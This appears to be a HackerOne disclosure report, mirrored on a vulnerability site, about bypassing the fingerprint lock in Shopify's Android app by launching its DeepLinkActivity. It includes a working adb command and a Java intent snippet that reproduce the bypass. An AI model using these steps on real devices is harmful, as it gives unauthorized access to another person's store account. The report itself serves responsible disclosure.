Lucene search

K
hackeroneTiago-daninH1:637194
HistoryJul 07, 2019 - 3:03 p.m.

Shopify: Bypass of biometrics security functionality is possible in Android application (com.shopify.mobile)

2019-07-0715:03:49
tiago-danin
hackerone.com
$500
1084

Summary

Shopify Android App has an option to sign in to the app using fingerprint. But if the application was open and someone triggers a “deeplink”, authentication is no longer required.

Step to Reproduce

{F523700}
Link: Shopify Help Center - Topics - Products

NOTE¹: The application must be open when triggered com.shopify.mobile.lib.app.DeepLinkActivity.
NOTE²: It is also possible via ADB and Java (Android App):
adb shell am start -n com.shopify.mobile/com.shopify.mobile.lib.app.DeepLinkActivity -d 'https://www.shopify.com/admin/products'

Intent intent = new Intent();
intent.setClassName("com.shopify.mobile", "com.shopify.mobile.lib.app.DeepLinkActivity");
intent.setData(Uri.parse("https://www.shopify.com/admin/products")); 
startActivity(intent);

My environment information:
{F523698} {F523699}

Impact

Unauthorized access to use the application.